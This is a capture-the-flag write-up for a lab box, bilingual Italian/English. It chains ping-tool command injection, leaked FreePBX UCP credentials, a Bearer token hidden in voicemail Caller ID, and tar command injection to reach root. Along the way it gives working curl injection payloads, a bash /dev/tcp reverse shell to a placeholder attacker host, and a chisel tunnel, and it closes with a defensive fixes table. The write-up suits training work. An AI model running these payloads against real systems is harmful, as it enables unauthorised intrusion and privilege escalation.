- Command injection in the
/internal/netchecktool (ping -c 1 {host}withshell=True) → RCE asweband the user flag. - Loopback services: a console (
:3000) leaks the UCP credentials; an automation microservice (:9000) runs as root but wants a Bearer token. - FreePBX 16 · CVE-2026-46376: the
FreePBXUCPTemplateCreatoruser is a hard-coded UCP template credential. Log into UCP — and the login is AJAX, not a form-POST. - The key is a voicemail: the automation Bearer token is the Caller ID of a message in the INBOX (
command=grid). - Root: the
/jobs/exportjob drops thereportparameter into atar czf ...without sanitizing → command injection as root.
Swap <target> for the box IP and <attacker> for your VPN IP (ip a show tun0). The nc listener runs on your machine; steps [03] onwards run on the target. You need: nmap, curl, netcat.
[01] Recon
One interesting port: a Flask app served by gunicorn on 80. The home is a "Closed Circuit — pool ops" panel; a /status page exposes a small network-diagnostics tool that pings a host of your choice. Whenever an app lets you pick what to "ping", question one is: how does it build the command?
# scan nmap -Pn -sV -p- <target> 80/tcp open http gunicorn (Flask) # la home e la pagina di status curl -s http://<target>/ | grep -i -o 'pool ops\|netcheck\|status' curl -s http://<target>/status | grep -i 'name="host"' <input name="host" ...> # c'e un campo host: candidato per l'injection
# scan nmap -Pn -sV -p- <target> 80/tcp open http gunicorn (Flask) # the home and the status page curl -s http://<target>/ | grep -i -o 'pool ops\|netcheck\|status' curl -s http://<target>/status | grep -i 'name="host"' <input name="host" ...> # there's a host field: injection candidate
[02] Command injection → foothold (web)
The netcheck takes a host via POST on /internal/netcheck and hands it to ping. If it does so with shell=True and no sanitization, a ; lets me append a second command. I try id right away: the output shows up in the response page, among the ping statistics.
# la injection: chiudo l'host con ; e appendo il mio comando curl -s http://<target>/internal/netcheck \ --data-urlencode 'host=127.0.0.1; id' | sed 's/<[^>]*>//g' | grep uid uid=1001(web) gid=1001(web) groups=1001(web) # RCE confermata # la user flag e nella home di web curl -s http://<target>/internal/netcheck \ --data-urlencode 'host=127.0.0.1; cat /home/web/user.txt' | sed 's/<[^>]*>//g' | grep THM THM{████████████████████} # oscurata: policy
# the injection: close host with ; and append my command curl -s http://<target>/internal/netcheck \ --data-urlencode 'host=127.0.0.1; id' | sed 's/<[^>]*>//g' | grep uid uid=1001(web) gid=1001(web) groups=1001(web) # RCE confirmed # the user flag is in web's home curl -s http://<target>/internal/netcheck \ --data-urlencode 'host=127.0.0.1; cat /home/web/user.txt' | sed 's/<[^>]*>//g' | grep THM THM{████████████████████} # redacted: policy
I confirm by reading the app source (it's world-readable): the the reason spelled out in the source.
# il sorgente dell'edge conferma shell=True curl -s http://<target>/internal/netcheck \ --data-urlencode 'host=;cat /var/www/infinity_pool/edge/app.py' | sed 's/<[^>]*>//g' proc = subprocess.run(f"ping -c 1 {host}", shell=True, ...) # host non sanificato
# the edge source confirms shell=True curl -s http://<target>/internal/netcheck \ --data-urlencode 'host=;cat /var/www/infinity_pool/edge/app.py' | sed 's/<[^>]*>//g' proc = subprocess.run(f"ping -c 1 {host}", shell=True, ...) # host unsanitised
# opzionale ma comodo: una reverse shell come web (i passi [03]-[08] girano sul box) # sul TUO box, in ascolto: nc -lvnp 4444 # poi inietta il callback nel netcheck (sostituisci <attacker> col tuo IP tun0): curl -s http://<target>/internal/netcheck \ --data-urlencode 'host=127.0.0.1; bash -c "bash -i >& /dev/tcp/<attacker>/4444 0>&1"' web@infinity-pool:~$ # shell interattiva come web
# optional but handy: a reverse shell as web (steps [03]-[08] run on the box) # on YOUR box, listening: nc -lvnp 4444 # then inject the callback into the netcheck (swap <attacker> for your tun0 IP): curl -s http://<target>/internal/netcheck \ --data-urlencode 'host=127.0.0.1; bash -c "bash -i >& /dev/tcp/<attacker>/4444 0>&1"' web@infinity-pool:~$ # interactive shell as web
It's not the payload: on some THM VPNs it's your own ufw dropping the inbound — open it with sudo ufw allow in on tun0 to any port 4444 proto tcp. Otherwise the whole runbook also works with no reverse shell, pasting each command into the injection channel: --data-urlencode 'host=127.0.0.1; <command>' and stripping HTML with sed 's/<[^>]*>//g'. But watch out: from [06] on the commands share variables (U, PASS, TOK, K) and files (cj, login.html): each injection is a fresh shell, so send them as one payload (commands joined with ;, e.g. host=127.0.0.1; cd /tmp; U=...; PASS=$(...); ...), with cd /tmp to pin cj/login.html to a writable dir — or, easier, a real interactive shell.
[03] Internal recon: the loopback services
With a shell on the box, the first move is to look at what listens only locally — that's where the box hides its chain. Three services beyond the edge: a console on :3000, an automation on :9000, and an Apache/FreePBX on :8080.
# porte in ascolto (tutte in loopback tranne l'edge :80) ss -ltnp 127.0.0.1:3000 # cc-watchtower (utente svc-watch) 127.0.0.1:9000 # cc-automation (utente ROOT) 127.0.0.1:8080 # apache2 / FreePBX # chi gira come cosa ps -eo user,cmd | grep -E 'gunicorn|automation|watchtower' | grep -v grep root ... /var/www/infinity_pool/automation/venv/bin/gunicorn --bind 127.0.0.1:9000 # :9000 e ROOT
# listening ports (all loopback except the :80 edge) ss -ltnp 127.0.0.1:3000 # cc-watchtower (user svc-watch) 127.0.0.1:9000 # cc-automation (user ROOT) 127.0.0.1:8080 # apache2 / FreePBX # who runs as what ps -eo user,cmd | grep -E 'gunicorn|automation|watchtower' | grep -v grep root ... /var/www/infinity_pool/automation/venv/bin/gunicorn --bind 127.0.0.1:9000 # :9000 is ROOT
[04] The console that leaks credentials
The surveillance console (cc-watchtower, user svc-watch) is read-only: it exposes /api/health and /api/config. But the config says more than it should — including the telephony portal credentials and the automation endpoint.
curl -s http://127.0.0.1:3000/api/config | python3 -m json.tool "telephony_user": "FreePBXUCPTemplateCreator", "telephony_pass": "St4yN0t1c3d_████", # mascherata: policy "telephony_portal": "http://127.0.0.1:8080/ucp", "automation_endpoint": "http://127.0.0.1:9000", "ops_note": "UCP still on default template creds (FreePBXUCPTemplateCreator) -- ROTATE." # l'automazione: /jobs/export vuole un Bearer token che ancora non ho curl -s http://127.0.0.1:9000/health | python3 -m json.tool | grep -A2 jobs "POST /jobs/export": {"auth": "Authorization: Bearer <automation key>"}
curl -s http://127.0.0.1:3000/api/config | python3 -m json.tool "telephony_user": "FreePBXUCPTemplateCreator", "telephony_pass": "St4yN0t1c3d_████", # masked: policy "telephony_portal": "http://127.0.0.1:8080/ucp", "automation_endpoint": "http://127.0.0.1:9000", "ops_note": "UCP still on default template creds (FreePBXUCPTemplateCreator) -- ROTATE." # the automation: /jobs/export wants a Bearer token I don't have yet curl -s http://127.0.0.1:9000/health | python3 -m json.tool | grep -A2 jobs "POST /jobs/export": {"auth": "Authorization: Bearer <automation key>"}
The ops_note isn't flavour: it's the signpost. "UCP still on default template creds" means that is the door. The leaked password, on the other hand, is a partial red herring — it fails on su, SSH, MySQL and the Asterisk AMI (see below).
[05] Dead ends (so you don't waste time)
Before following the right lead, here's what does not pay off — tested, so you don't repeat it. The box is built to push you toward UCP, not toward credential reuse or a classic local priv-esc.
| Attempt | Result |
|---|---|
sudo -l as web | asks for web's password, which I don't have |
| Password reuse (su / SSH / MySQL / Asterisk AMI) | fails everywhere |
SUID / capabilities (find / -perm -4000) | standard binaries only, nothing useful |
Read /etc/freepbx.conf for the DB creds | permission denied (root:asterisk 640) |
/proc/<pid>/environ of the automation for the key | denied (root process) |
automation.env / service dir | dir 750 root:root: web can't enter |
[06] FreePBX UCP: CVE-2026-46376 and the AJAX login
The :8080 is FreePBX 16.0.45. The FreePBXUCPTemplateCreator user is the tell for CVE-2026-46376: credentials hard-coded into the generic UCP template that log you straight into the User Control Panel. The practical snag: logging in with curl keeps bouncing back to the login page — because it's not the form-POST it looks like. The form is decorative; the real login is an AJAX call to ucp/ajax.php with module=User&command=login.
U=http://127.0.0.1:8080/ucp # la password l'ha gia rivelata /api/config: la catturo (niente segreti da incollare) PASS=$(curl -s http://127.0.0.1:3000/api/config | python3 -c 'import sys,json;print(json.load(sys.stdin)["telephony_pass"])') # 1) cookie di sessione + token CSRF (estrazione robusta all'ordine degli attributi) curl -s -c cj $U/ > login.html TOK=$(grep -oiE 'name="token"[^>]*value="[^"]+"|value="[^"]+"[^>]*name="token"' login.html | grep -oE 'value="[^"]+"' | head -1 | sed 's/value="//;s/"//') [ -n "$TOK" ] || echo 'CSRF token non trovato -- controlla login.html' # 2) login VERO: POST all'endpoint AJAX (non al form) curl -s -b cj -c cj $U/ajax.php \ --data-urlencode "token=$TOK" \ --data-urlencode 'username=FreePBXUCPTemplateCreator' \ --data-urlencode "password=$PASS" \ --data-urlencode 'module=User' --data-urlencode 'command=login' {"status":true,"message":"","token":"..."} # sessione autenticata in cj
U=http://127.0.0.1:8080/ucp # the password was already revealed by /api/config: capture it (no secrets to paste) PASS=$(curl -s http://127.0.0.1:3000/api/config | python3 -c 'import sys,json;print(json.load(sys.stdin)["telephony_pass"])') # 1) session cookie + CSRF token (extraction robust to attribute order) curl -s -c cj $U/ > login.html TOK=$(grep -oiE 'name="token"[^>]*value="[^"]+"|value="[^"]+"[^>]*name="token"' login.html | grep -oE 'value="[^"]+"' | head -1 | sed 's/value="//;s/"//') [ -n "$TOK" ] || echo 'CSRF token not found -- check login.html' # 2) the REAL login: POST to the AJAX endpoint (not the form) curl -s -b cj -c cj $U/ajax.php \ --data-urlencode "token=$TOK" \ --data-urlencode 'username=FreePBXUCPTemplateCreator' \ --data-urlencode "password=$PASS" \ --data-urlencode 'module=User' --data-urlencode 'command=login' {"status":true,"message":"","token":"..."} # authenticated session in cj
The "by-the-book" writeup tunnels the ports with chisel and uses a browser because the login runs in JavaScript. But the JS does nothing magic: it serializes the form and POSTs it to ajax.php with module=User&command=login. Replicate that call and curl logs in on its own — faster and tunnel-free. If you prefer the browser, that's fine too: ./chisel client <attacker>:9999 R:8080:127.0.0.1:8080 and browse to http://127.0.0.1:8080/ucp/.
[07] The key is in a voicemail
Inside UCP, the user has an extension (9919988, shown in the UCP dashboard after login) and a mailbox. The Voicemail module exposes a grid command that returns messages as JSON — Caller ID included. And the Caller ID of the INBOX message is the automation Bearer token. A nice touch, for a telephony-themed box.
# l'estensione dell'utente UCP (visibile nella dashboard UCP dopo il login) EXT=9919988 # stessa sessione (cj): elenca i messaggi della segreteria di quell'estensione curl -s -b cj "$U/ajax.php?module=voicemail&command=grid\ &ext=$EXT&folder=INBOX&order=desc&sort=date&offset=0&limit=100" \ | python3 -m json.tool | grep -i callerid "callerid": "\"Automation Key cc_auto_████\" <9000>" # ecco il Bearer token
# the UCP user's extension (shown in the UCP dashboard after login) EXT=9919988 # same session (cj): list that extension's voicemail messages curl -s -b cj "$U/ajax.php?module=voicemail&command=grid\ &ext=$EXT&folder=INBOX&order=desc&sort=date&offset=0&limit=100" \ | python3 -m json.tool | grep -i callerid "callerid": "\"Automation Key cc_auto_████\" <9000>" # there's the Bearer token
The spool in /var/spool/asterisk/voicemail/... is owned by asterisk and web can't read it. But UCP runs inside Apache as asterisk: once authenticated, you ask and it serves it. A textbook "confused deputy" — you don't read the file, you ask someone who can.
[08] Root via the export job
I have the Bearer token, and the automation runs as root. /jobs/export takes a JSON {"report":"..."}. I try a harmless name: the response hands us the game, because it echoes the command it builds.
# cattura il Bearer token dal Caller ID della segreteria (niente segreti da incollare) K=$(curl -s -b cj "$U/ajax.php?module=voicemail&command=grid&ext=$EXT&folder=INBOX&order=desc&sort=date&offset=0&limit=100" | grep -oE 'cc_auto_[a-f0-9]+' | head -1) # 1) prova innocua: guarda il comando che costruisce curl -s -X POST http://127.0.0.1:9000/jobs/export \ -H "Authorization: Bearer $K" -H 'Content-Type: application/json' \ -d '{"report":"test"}' "command": "tar czf /var/automation/exports/test.tgz /var/automation/data 2>&1" # 2) il mio report finisce dritto nel comando: chiudo il tar, appendo id, # commenta il resto curl -s -X POST http://127.0.0.1:9000/jobs/export \ -H "Authorization: Bearer $K" -H 'Content-Type: application/json' \ -d '{"report":"x.tgz /var/automation/data; id #"}' "output": "uid=0(root) gid=0(root) groups=0(root) ..." # esecuzione come ROOT
# capture the Bearer token from the voicemail Caller ID (no secrets to paste) K=$(curl -s -b cj "$U/ajax.php?module=voicemail&command=grid&ext=$EXT&folder=INBOX&order=desc&sort=date&offset=0&limit=100" | grep -oE 'cc_auto_[a-f0-9]+' | head -1) # 1) harmless probe: look at the command it builds curl -s -X POST http://127.0.0.1:9000/jobs/export \ -H "Authorization: Bearer $K" -H 'Content-Type: application/json' \ -d '{"report":"test"}' "command": "tar czf /var/automation/exports/test.tgz /var/automation/data 2>&1" # 2) my report lands straight in the command: close the tar, append id, # comments out the rest curl -s -X POST http://127.0.0.1:9000/jobs/export \ -H "Authorization: Bearer $K" -H 'Content-Type: application/json' \ -d '{"report":"x.tgz /var/automation/data; id #"}' "output": "uid=0(root) gid=0(root) groups=0(root) ..." # execution as ROOT
Same shape, just change the command: I read the root flag.
curl -s -X POST http://127.0.0.1:9000/jobs/export \ -H "Authorization: Bearer $K" -H 'Content-Type: application/json' \ -d '{"report":"x.tgz /var/automation/data; cat /root/root.txt #"}' THM{████████████████████} # oscurata: policy
curl -s -X POST http://127.0.0.1:9000/jobs/export \ -H "Authorization: Bearer $K" -H 'Content-Type: application/json' \ -d '{"report":"x.tgz /var/automation/data; cat /root/root.txt #"}' THM{████████████████████} # redacted: policy
THM{████████████████████}
You won't find the flag here: the value itself teaches nothing, and half the fun is getting there. The methodology above is complete and reproducible — the last Enter is yours to press.
[09] Defense
| Weakness | Fix |
|---|---|
shell=True with user input in the netcheck | no shell: subprocess.run(["ping","-c","1",host]) and validate the host (allowlist / ipaddress) |
The console leaks credentials on /api/config | never return secrets in clear; split config from secrets, and rotate defaults |
| Hard-coded UCP creds (CVE-2026-46376) | patch FreePBX, force a password change on first login, remove template users |
| Bearer token delivered via Caller ID / voicemail | secrets don't ride in telephony metadata; ephemeral, service-bound tokens |
report concatenated into tar as root | allowlist the filename, no shell, and run the job least-privilege (not root) |
The same mistake twice — user input in a shell — at opposite ends of the chain, held together by secrets travelling where they shouldn't (a chatty config, a voicemail). No step is exotic; it's loopback trust that does the damage: "it's internal-only" stops being true the instant you set foot on the box. In one line: a service isn't safe because it listens on 127.0.0.1 — it's safe only if it doesn't trust whoever talks to it.